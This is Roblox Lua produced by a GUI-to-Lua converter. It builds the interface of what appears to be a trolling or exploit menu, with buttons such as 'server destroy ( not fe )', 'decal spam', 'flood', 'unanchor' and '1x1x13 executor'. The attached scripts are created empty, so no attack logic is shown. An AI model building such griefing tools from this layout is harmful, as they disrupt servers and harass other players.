G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
G2L["1"]["Name"] = [[ssst]];
G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
-- StarterGui.ssst.Frame
G2L["2"] = Instance.new("Frame", G2L["1"]);
G2L["2"]["BorderSizePixel"] = 3;
G2L["2"]["BackgroundColor3"] = Color3.fromRGB(95, 95, 95);
G2L["2"]["BorderMode"] = Enum.BorderMode.Inset;
G2L["2"]["Size"] = UDim2.new(0, 457, 0, 253);
G2L["2"]["Position"] = UDim2.new(0.43288, 0, 0.22876, 0);
G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2"]["BackgroundTransparency"] = 0.4;
-- StarterGui.ssst.Frame.LocalScript
G2L["3"] = Instance.new("LocalScript", G2L["2"]);
-- StarterGui.ssst.Frame.ImageLabel
G2L["4"] = Instance.new("ImageLabel", G2L["2"]);
G2L["4"]["BorderSizePixel"] = 0;
G2L["4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
G2L["4"]["Image"] = [[rbxassetid://124868710717730]];
G2L["4"]["Size"] = UDim2.new(0, 187, 0, 123);
G2L["4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4"]["BackgroundTransparency"] = 1;
G2L["4"]["Position"] = UDim2.new(0.06393, 0, -0.48753, 0);
-- StarterGui.ssst.Frame.TextLabel
G2L["5"] = Instance.new("TextLabel", G2L["2"]);
G2L["5"]["BorderSizePixel"] = 0;
G2L["5"]["TextSize"] = 14;
G2L["5"]["BackgroundColor3"] = Color3.fromRGB(32, 32, 32);
G2L["5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5"]["Size"] = UDim2.new(0, 241, 0, 25);
G2L["5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5"]["Text"] = [[Gui made by:toothpickleglol, lucas_cubing10]];
G2L["5"]["Position"] = UDim2.new(0.25805, 0, -0.00299, 0);
-- StarterGui.ssst.Frame.TextLabel.UICorner
G2L["6"] = Instance.new("UICorner", G2L["5"]);
G2L["6"]["CornerRadius"] = UDim.new(0, 4);
-- StarterGui.ssst.Frame.TextButton
G2L["7"] = Instance.new("TextButton", G2L["2"]);
G2L["7"]["BorderSizePixel"] = 0;
G2L["7"]["TextSize"] = 14;
G2L["7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7"]["BackgroundTransparency"] = 0.2;
G2L["7"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7"]["Text"] = [[Troll gui 🤣🤣🤣]];
G2L["7"]["Position"] = UDim2.new(0.70602, 0, 0.81058, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["8"] = Instance.new("LocalScript", G2L["7"]);
-- StarterGui.ssst.Frame.TextButton
G2L["9"] = Instance.new("TextButton", G2L["2"]);
G2L["9"]["BorderSizePixel"] = 0;
G2L["9"]["TextSize"] = 14;
G2L["9"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9"]["BackgroundTransparency"] = 0.2;
G2L["9"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9"]["Text"] = [[1x1x13 executor]];
G2L["9"]["Position"] = UDim2.new(0.04582, 0, 0.80975, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["a"] = Instance.new("LocalScript", G2L["9"]);
-- StarterGui.ssst.Frame.TextButton
G2L["b"] = Instance.new("TextButton", G2L["2"]);
G2L["b"]["BorderSizePixel"] = 0;
G2L["b"]["TextSize"] = 14;
G2L["b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b"]["BackgroundTransparency"] = 0.2;
G2L["b"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b"]["Text"] = [[hint]];
G2L["b"]["Position"] = UDim2.new(0.3729, 0, 0.81859, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["c"] = Instance.new("LocalScript", G2L["b"]);
-- StarterGui.ssst.Frame.TextButton
G2L["d"] = Instance.new("TextButton", G2L["2"]);
G2L["d"]["BorderSizePixel"] = 0;
G2L["d"]["TextSize"] = 14;
G2L["d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d"]["BackgroundTransparency"] = 0.2;
G2L["d"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d"]["Text"] = [[skybox]];
G2L["d"]["Position"] = UDim2.new(0.0509, 0, 0.61243, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["e"] = Instance.new("LocalScript", G2L["d"]);
-- StarterGui.ssst.Frame.TextButton
G2L["f"] = Instance.new("TextButton", G2L["2"]);
G2L["f"]["BorderSizePixel"] = 0;
G2L["f"]["TextSize"] = 14;
G2L["f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f"]["BackgroundTransparency"] = 0.2;
G2L["f"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f"]["Text"] = [[decal spam]];
G2L["f"]["Position"] = UDim2.new(0.37257, 0, 0.61638, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["10"] = Instance.new("LocalScript", G2L["f"]);
-- StarterGui.ssst.Frame.TextButton
G2L["11"] = Instance.new("TextButton", G2L["2"]);
G2L["11"]["BorderSizePixel"] = 0;
G2L["11"]["TextSize"] = 14;
G2L["11"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11"]["BackgroundTransparency"] = 0.2;
G2L["11"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["11"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11"]["Text"] = [[particle]];
G2L["11"]["Position"] = UDim2.new(0.70903, 0, 0.61362, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["12"] = Instance.new("LocalScript", G2L["11"]);
-- StarterGui.ssst.Frame.TextButton
G2L["13"] = Instance.new("TextButton", G2L["2"]);
G2L["13"]["BorderSizePixel"] = 0;
G2L["13"]["TextSize"] = 14;
G2L["13"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["13"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["13"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["13"]["BackgroundTransparency"] = 0.2;
G2L["13"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["13"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["13"]["Text"] = [[skeleton sky]];
G2L["13"]["Position"] = UDim2.new(0.04983, 0, 0.43306, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["14"] = Instance.new("LocalScript", G2L["13"]);
-- StarterGui.ssst.Frame.TextButton
G2L["15"] = Instance.new("TextButton", G2L["2"]);
G2L["15"]["BorderSizePixel"] = 0;
G2L["15"]["TextSize"] = 14;
G2L["15"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["15"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["15"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["15"]["BackgroundTransparency"] = 0.2;
G2L["15"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["15"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["15"]["Text"] = [[flood]];
G2L["15"]["Position"] = UDim2.new(0.37303, 0, 0.43465, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["16"] = Instance.new("LocalScript", G2L["15"]);
-- StarterGui.ssst.Frame.TextButton
G2L["17"] = Instance.new("TextButton", G2L["2"]);
G2L["17"]["BorderSizePixel"] = 0;
G2L["17"]["TextSize"] = 14;
G2L["17"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["17"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["17"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["17"]["BackgroundTransparency"] = 0.2;
G2L["17"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["17"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["17"]["Text"] = [[666]];
G2L["17"]["Position"] = UDim2.new(0.70898, 0, 0.43385, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["18"] = Instance.new("LocalScript", G2L["17"]);
-- StarterGui.ssst.Frame.TextButton
G2L["19"] = Instance.new("TextButton", G2L["2"]);
G2L["19"]["BorderSizePixel"] = 0;
G2L["19"]["TextSize"] = 14;
G2L["19"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["19"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["19"]["BackgroundTransparency"] = 0.2;
G2L["19"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["19"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19"]["Text"] = [[theme music]];
G2L["19"]["Position"] = UDim2.new(0.04978, 0, 0.24965, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["1a"] = Instance.new("LocalScript", G2L["19"]);
-- StarterGui.ssst.Frame.TextButton
G2L["1b"] = Instance.new("TextButton", G2L["2"]);
G2L["1b"]["BorderSizePixel"] = 0;
G2L["1b"]["TextSize"] = 14;
G2L["1b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1b"]["BackgroundTransparency"] = 0.2;
G2L["1b"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["1b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1b"]["Text"] = [[romania spam]];
G2L["1b"]["Position"] = UDim2.new(0.37298, 0, 0.25559, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["1c"] = Instance.new("LocalScript", G2L["1b"]);
-- StarterGui.ssst.Frame.TextButton
G2L["1d"] = Instance.new("TextButton", G2L["2"]);
G2L["1d"]["BorderSizePixel"] = 0;
G2L["1d"]["TextSize"] = 14;
G2L["1d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1d"]["BackgroundTransparency"] = 0.2;
G2L["1d"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["1d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d"]["Text"] = [[T7B3RS93 sound]];
G2L["1d"]["Position"] = UDim2.new(0.70507, 0, 0.25348, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["1e"] = Instance.new("LocalScript", G2L["1d"]);
-- StarterGui.ssst.Frame.TextButton
G2L["1f"] = Instance.new("TextButton", G2L["2"]);
G2L["1f"]["TextWrapped"] = true;
G2L["1f"]["BorderSizePixel"] = 0;
G2L["1f"]["TextSize"] = 14;
G2L["1f"]["TextScaled"] = true;
G2L["1f"]["TextColor3"] = Color3.fromRGB(255, 0, 0);
G2L["1f"]["BackgroundColor3"] = Color3.fromRGB(85, 85, 85);
G2L["1f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1f"]["BackgroundTransparency"] = 1;
G2L["1f"]["Size"] = UDim2.new(0, 37, 0, 34);
G2L["1f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1f"]["Text"] = [[>]];
G2L["1f"]["Position"] = UDim2.new(0.93864, 0, 0.87224, 0);
-- StarterGui.ssst.Frame.TextButton.LocalScript
G2L["20"] = Instance.new("LocalScript", G2L["1f"]);
-- StarterGui.ssst.Frame.ImageLabel
G2L["21"] = Instance.new("ImageLabel", G2L["2"]);
G2L["21"]["BorderSizePixel"] = 0;
G2L["21"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
G2L["21"]["Image"] = [[rbxassetid://98874831022758]];
G2L["21"]["Size"] = UDim2.new(0, 187, 0, 115);
G2L["21"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["21"]["BackgroundTransparency"] = 1;
G2L["21"]["Position"] = UDim2.new(0.57706, 0, -0.45759, 0);
-- StarterGui.ssst.Frame2
G2L["22"] = Instance.new("Frame", G2L["1"]);
G2L["22"]["Visible"] = false;
G2L["22"]["BorderSizePixel"] = 3;
G2L["22"]["BackgroundColor3"] = Color3.fromRGB(95, 95, 95);
G2L["22"]["BorderMode"] = Enum.BorderMode.Inset;
G2L["22"]["Size"] = UDim2.new(0, 457, 0, 253);
G2L["22"]["Position"] = UDim2.new(0.433, 0, 0.229, 0);
G2L["22"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["22"]["Name"] = [[Frame2]];
G2L["22"]["BackgroundTransparency"] = 0.4;
-- StarterGui.ssst.Frame2.LocalScript
G2L["23"] = Instance.new("LocalScript", G2L["22"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["24"] = Instance.new("TextButton", G2L["22"]);
G2L["24"]["BorderSizePixel"] = 0;
G2L["24"]["TextSize"] = 14;
G2L["24"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["24"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["24"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["24"]["BackgroundTransparency"] = 0.2;
G2L["24"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["24"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["24"]["Text"] = [[SetWalkspeed]];
G2L["24"]["Position"] = UDim2.new(0.0372, 0, 0.07115, 0);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
G2L["25"] = Instance.new("LocalScript", G2L["24"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["26"] = Instance.new("TextButton", G2L["22"]);
G2L["26"]["TextWrapped"] = true;
G2L["26"]["BorderSizePixel"] = 0;
G2L["26"]["TextSize"] = 14;
G2L["26"]["TextScaled"] = true;
G2L["26"]["TextColor3"] = Color3.fromRGB(255, 0, 0);
G2L["26"]["BackgroundColor3"] = Color3.fromRGB(85, 85, 85);
G2L["26"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["26"]["BackgroundTransparency"] = 1;
G2L["26"]["Size"] = UDim2.new(0, 37, 0, 34);
G2L["26"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["26"]["Text"] = [[<]];
G2L["26"]["Position"] = UDim2.new(-0.01282, 0, 0.90236, 0);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
G2L["27"] = Instance.new("LocalScript", G2L["26"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["28"] = Instance.new("TextButton", G2L["22"]);
G2L["28"]["BorderSizePixel"] = 0;
G2L["28"]["TextSize"] = 14;
G2L["28"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["28"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["28"]["BackgroundTransparency"] = 0.2;
G2L["28"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["28"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28"]["Text"] = [[server destroy ( not fe )]];
G2L["28"]["Position"] = UDim2.new(0.35402, 0, 0.07921, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["29"] = Instance.new("Script", G2L["28"]);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
G2L["2a"] = Instance.new("LocalScript", G2L["28"]);
-- StarterGui.ssst.Frame2.TextButton.RemoteEvent
G2L["2b"] = Instance.new("RemoteEvent", G2L["28"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["2c"] = Instance.new("TextButton", G2L["22"]);
G2L["2c"]["BorderSizePixel"] = 0;
G2L["2c"]["TextSize"] = 14;
G2L["2c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2c"]["BackgroundTransparency"] = 0.2;
G2L["2c"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["2c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c"]["Text"] = [[disco]];
G2L["2c"]["Position"] = UDim2.new(0.6776, 0, 0.08128, 0);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
G2L["2d"] = Instance.new("LocalScript", G2L["2c"]);
-- StarterGui.ssst.Frame2.ImageLabel
G2L["2e"] = Instance.new("ImageLabel", G2L["22"]);
G2L["2e"]["BorderSizePixel"] = 0;
G2L["2e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
G2L["2e"]["Image"] = [[rbxassetid://98874831022758]];
G2L["2e"]["Size"] = UDim2.new(0, 187, 0, 115);
G2L["2e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2e"]["BackgroundTransparency"] = 1;
G2L["2e"]["Position"] = UDim2.new(0.57706, 0, -0.45759, 0);
-- StarterGui.ssst.Frame2.ImageLabel
G2L["2f"] = Instance.new("ImageLabel", G2L["22"]);
G2L["2f"]["BorderSizePixel"] = 0;
G2L["2f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
G2L["2f"]["Image"] = [[rbxassetid://124868710717730]];
G2L["2f"]["Size"] = UDim2.new(0, 187, 0, 123);
G2L["2f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f"]["BackgroundTransparency"] = 1;
G2L["2f"]["Position"] = UDim2.new(0.06393, 0, -0.48753, 0);
-- StarterGui.ssst.Frame2.TextButton
G2L["30"] = Instance.new("TextButton", G2L["22"]);
G2L["30"]["BorderSizePixel"] = 0;
G2L["30"]["TextSize"] = 14;
G2L["30"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["30"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["30"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["30"]["BackgroundTransparency"] = 0.2;
G2L["30"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["30"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["30"]["Text"] = [[teams]];
G2L["30"]["Position"] = UDim2.new(0.04303, 0, 0.24729, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["31"] = Instance.new("Script", G2L["30"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["32"] = Instance.new("TextButton", G2L["22"]);
G2L["32"]["BorderSizePixel"] = 0;
G2L["32"]["TextSize"] = 14;
G2L["32"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["32"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["32"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["32"]["BackgroundTransparency"] = 0.2;
G2L["32"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["32"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["32"]["Text"] = [[change avatar]];
G2L["32"]["Position"] = UDim2.new(0.35526, 0, 0.25123, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["33"] = Instance.new("Script", G2L["32"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["34"] = Instance.new("TextButton", G2L["22"]);
G2L["34"]["BorderSizePixel"] = 0;
G2L["34"]["TextSize"] = 14;
G2L["34"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["34"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["34"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["34"]["BackgroundTransparency"] = 0.2;
G2L["34"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["34"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["34"]["Text"] = [[explode]];
G2L["34"]["Position"] = UDim2.new(0.67445, 0, 0.25713, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["35"] = Instance.new("Script", G2L["34"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["36"] = Instance.new("TextButton", G2L["22"]);
G2L["36"]["BorderSizePixel"] = 0;
G2L["36"]["TextSize"] = 14;
G2L["36"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["36"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["36"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["36"]["BackgroundTransparency"] = 0.2;
G2L["36"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["36"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["36"]["Text"] = [[raining fire]];
G2L["36"]["Position"] = UDim2.new(0.04853, 0, 0.43285, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["37"] = Instance.new("Script", G2L["36"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["38"] = Instance.new("TextButton", G2L["22"]);
G2L["38"]["BorderSizePixel"] = 0;
G2L["38"]["TextSize"] = 14;
G2L["38"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["38"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["38"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["38"]["BackgroundTransparency"] = 0.2;
G2L["38"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["38"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["38"]["Text"] = [[rainbow all]];
G2L["38"]["Position"] = UDim2.new(0.35589, 0, 0.43204, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["39"] = Instance.new("Script", G2L["38"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["3a"] = Instance.new("TextButton", G2L["22"]);
G2L["3a"]["BorderSizePixel"] = 0;
G2L["3a"]["TextSize"] = 14;
G2L["3a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3a"]["BackgroundTransparency"] = 0.2;
G2L["3a"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["3a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3a"]["Text"] = [[message]];
G2L["3a"]["Position"] = UDim2.new(0.67496, 0, 0.43146, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["3b"] = Instance.new("Script", G2L["3a"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["3c"] = Instance.new("TextButton", G2L["22"]);
G2L["3c"]["BorderSizePixel"] = 0;
G2L["3c"]["TextSize"] = 14;
G2L["3c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3c"]["BackgroundTransparency"] = 0.2;
G2L["3c"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["3c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3c"]["Text"] = [[guns]];
G2L["3c"]["Position"] = UDim2.new(0.05271, 0, 0.60446, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["3d"] = Instance.new("Script", G2L["3c"]);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
G2L["3e"] = Instance.new("LocalScript", G2L["3c"]);
-- StarterGui.ssst.Frame2.TextButton.RemoteEvent
G2L["3f"] = Instance.new("RemoteEvent", G2L["3c"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["40"] = Instance.new("TextButton", G2L["22"]);
G2L["40"]["BorderSizePixel"] = 0;
G2L["40"]["TextSize"] = 14;
G2L["40"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["40"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["40"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["40"]["BackgroundTransparency"] = 0.2;
G2L["40"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["40"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["40"]["Text"] = [[ball rain]];
G2L["40"]["Position"] = UDim2.new(0.35617, 0, 0.60594, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["41"] = Instance.new("Script", G2L["40"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["42"] = Instance.new("TextButton", G2L["22"]);
G2L["42"]["BorderSizePixel"] = 0;
G2L["42"]["TextSize"] = 14;
G2L["42"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["42"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["42"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["42"]["BackgroundTransparency"] = 0.2;
G2L["42"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["42"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["42"]["Text"] = [[unanchor]];
G2L["42"]["Position"] = UDim2.new(0.67097, 0, 0.59947, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["43"] = Instance.new("Script", G2L["42"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["44"] = Instance.new("TextButton", G2L["22"]);
G2L["44"]["BorderSizePixel"] = 0;
G2L["44"]["TextSize"] = 14;
G2L["44"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["44"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["44"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["44"]["BackgroundTransparency"] = 0.2;
G2L["44"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["44"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["44"]["Text"] = [[42 teleporter]];
G2L["44"]["Position"] = UDim2.new(0.05385, 0, 0.80265, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
